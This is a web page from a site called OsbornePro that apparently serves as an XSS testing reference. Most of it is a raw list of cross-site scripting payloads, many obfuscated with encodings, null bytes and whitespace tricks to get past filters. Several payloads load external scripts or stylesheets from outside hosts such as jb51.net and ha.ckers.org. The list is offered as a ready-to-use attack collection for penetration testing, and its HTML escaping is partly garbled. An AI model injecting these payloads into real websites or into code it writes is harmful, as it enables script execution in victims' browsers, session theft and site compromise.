XSS - OsbornePro

Insert XSS Injection Examples Into Script Tags

# Test whether javascript specific chars are entered into a comment after submitting a form
TEST JS CHARS: ";<>

# XSS Testing Tags
alert('XSS')

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&ampgt&amplt/SCRIPT&ampgt"&ampgt'&ampgt&ampltSCRIPT&ampgtalert(String.fromCharCode(88,83,83))&
amplt/SCRIPT&ampgt

'';!--"&ampltXSS&ampgt=&amp{()}

&ampltSCRIPT SRC=http://jb51.net/xss.js&ampgt&amplt/SCRIPT&ampgt

&ampltIMG SRC="javascript:alert('XSS');"&ampgt

&ampltIMG SRC=javascript:alert('XSS')&ampgt

&ampltIMG SRC=JaVaScRiPt:alert('XSS')&ampgt

&ampltIMG SRC=javascript:alert(&ampquot;XSS&ampquot;)&ampgt

&ampltIMG SRC=javascript:alert("RSnake says, 'XSS'")&ampgt

&ampltIMG """&ampgt&ampltSCRIPT&ampgtalert("XSS")&amplt/SCRIPT&ampgt"&ampgt

&ampltIMG SRC=javascript:alert(String.fromCharCode(88,83,83))&ampgt

&ampltIMG SRC=&amp#106;&amp#97;&amp#118;&amp#97;&amp#115;&amp#99;&amp#114;&amp#105;&amp#112;&amp#116;&amp#58;&amp#97;&amp#108;&amp#101;&amp#114;&amp#116;&amp#40;&amp#39;&amp#88;&amp#83;&amp#83;&amp#39;&amp#41;&ampgt

&ampltIMG SRC=&amp#0000106&amp#0000097&amp#0000118&amp#0000097&amp#0000115&amp#0000099&amp#0000114&amp#0000105&amp#0000112&amp#0000116&amp#0000058&amp#0000097&amp#0000108&amp#0000101&amp#0000114&amp#0000116&amp#0000040&amp#0000039&amp#0000088&amp#0000083&amp
#0000083&amp#0000039&amp#0000041&ampgt

&ampltIMG SRC=&amp#x6A&amp#x61&amp#x76&amp#x61&amp#x73&amp#x63&amp#x72&amp#x69&amp#x70&amp#x74&amp#x3A&amp#x61&amp#x6C&amp#x65&amp#x72&amp#x74&amp#x28&amp#x27&amp#x58&amp#x53&amp#x53&amp#x27&amp#x29&ampgt

&ampltIMG SRC="jav	ascript:alert('XSS');"&ampgt

&ampltIMG SRC="jav&amp#x09;ascript:alert('XSS');"&ampgt

&ampltIMG SRC="jav&amp#x0A;ascript:alert('XSS');"&ampgt

&ampltIMG SRC="jav&amp#x0D;ascript:alert('XSS');"&ampgt

===============================================
MULTILINE
===============================================
&ampltIMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
&ampgt

perl -e 'print "&ampltIMG SRC=java\0script:alert(\"XSS\")&ampgt";' &ampgt out

perl -e 'print "&ampltSCR\0IPT&ampgtalert(\"XSS\")&amplt/SCR\0IPT&ampgt";' &ampgt out

&ampltIMG SRC=" &amp#14;  javascript:alert('XSS');"&ampgt

&ampltSCRIPT/XSS SRC="http://jb51.net/xss.js"&ampgt&amplt/SCRIPT&ampgt

&ampltBODY onload!#$%&amp()*~+-_.,:;?@[/|\]^=alert("XSS")&ampgt

&ampltSCRIPT/SRC="http://jb51.net/xss.js"&ampgt&amplt/SCRIPT&ampgt

&amplt&ampltSCRIPT&ampgtalert("XSS");//&amplt&amplt/SCRIPT&ampgt

&ampltSCRIPT SRC=http://jb51.net/xss.js?&ampltB&ampgt

&ampltSCRIPT SRC=//ha.ckers.org/.j&ampgt

&ampltIMG SRC="javascript:alert('XSS')"

&ampltiframe src=http://jb51.net/scriptlet.html &amplt

&ampltSCRIPT&ampgta=/XSS/
alert(a.source)&amplt/SCRIPT&ampgt

\";alert('XSS');//

&amplt/TITLE&ampgt&ampltSCRIPT&ampgtalert("XSS");&amplt/SCRIPT&ampgt

&ampltINPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"&ampgt

&ampltBODY BACKGROUND="javascript:alert('XSS')"&ampgt

&ampltBODY ONLOAD=alert('XSS')&ampgt

&ampltIMG DYNSRC="javascript:alert('XSS')"&ampgt

&ampltIMG LOWSRC="javascript:alert('XSS')"&ampgt

&ampltBGSOUND SRC="javascript:alert('XSS');"&ampgt

&ampltBR SIZE="&amp{alert('XSS')}"&ampgt

&ampltLAYER SRC="http://jb51.net/scriptlet.html"&ampgt&amplt/LAYER&ampgt

&ampltLINK REL="stylesheet" HREF="javascript:alert('XSS');"&ampgt

&ampltLINK REL="stylesheet" HREF="http://jb51.net/xss.css"&ampgt

&ampltSTYLE&ampgt@import'http://jb51.net/xss.css';&amplt/STYLE&ampgt

&ampltMETA HTTP-EQUIV="Link" Content="&amplthttp://jb51.net/xss.css&ampgt; REL=stylesheet"&ampgt

&ampltSTYLE&ampgtBODY{-moz-binding:url("http://jb51.net/xssmoz.xml#xss")}&amplt/STYLE&ampgt

&ampltXSS STYLE="behavior: url(xss.htc);"&ampgt

&ampltSTYLE&ampgtli {list-style-image: url("javascript:alert('XSS')");}&amplt/STYLE&ampgt&ampltUL&ampgt&ampltLI&ampgtXSS

&ampltIMG SRC='vbscript:msgbox("XSS")'&ampgt

&ampltIMG SRC="mocha:[code]"&ampgt

&ampltIMG SRC="livescript:[code]"&ampgt

scriptalert(XSS??script?/TEXTAREA&ampgt&ampltBR&ampgt
&ampltDIV ALIGN="CENTER"&ampgtBrowser support: [&ampltspan class="s"&ampgtIE7.0&amplt/span&ampgt|&ampltspan class="s"&ampgtIE6.0&amplt/span&ampgt|&ampltspan class="s"&ampgtNS8.1-IE&amplt/span&ampgt] [&ampltspan class="ns"&ampgtNS8.1-G&amplt/span&ampgt|&amplt
span class="ns"&ampgtFF2.0&amplt/span&ampgt] [&ampltspan class="ns"&ampgtO9.02&amplt/span&ampgt] [&ampltspan class="ns"&ampgtNS4&amplt/span&ampgt]&amplt/DIV&ampgt&ampltBR&ampgt&ampltBR&ampgt

&ampltA NAME="XSS_META"&ampgtMETA&amplt/A&ampgt (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):&ampltBR&ampgt
&ampltTEXTAREA COLS=45 ROWS=3&ampgt&ampltMETA HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&ampgt

&ampltMETA HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"&ampgt

&ampltMETA HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"&ampgt

&ampltIFRAME SRC="javascript:alert('XSS');"&ampgt&amplt/IFRAME&ampgt

&ampltFRAMESET&ampgt&ampltFRAME SRC="javascript:alert('XSS');"&ampgt&amplt/FRAMESET&ampgt

&ampltTABLE BACKGROUND="javascript:alert('XSS')"&ampgt

&ampltTABLE&ampgt&ampltTD BACKGROUND="javascript:alert('XSS')"&ampgt

&ampltDIV STYLE="background-image: url(javascript:alert('XSS'))"&ampgt

&ampltDIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"&ampgt

&ampltDIV STYLE="background-image: url(&amp#1;javascript:alert('XSS'))"&ampgt

XSS Reference

Insert XSS Injection Examples Into Script Tags

Site Links

Contact Info

XSS Reference

Insert XSS Injection Examples Into Script Tags

Site Links

Contact Info

Subscribe to OsbornePro TV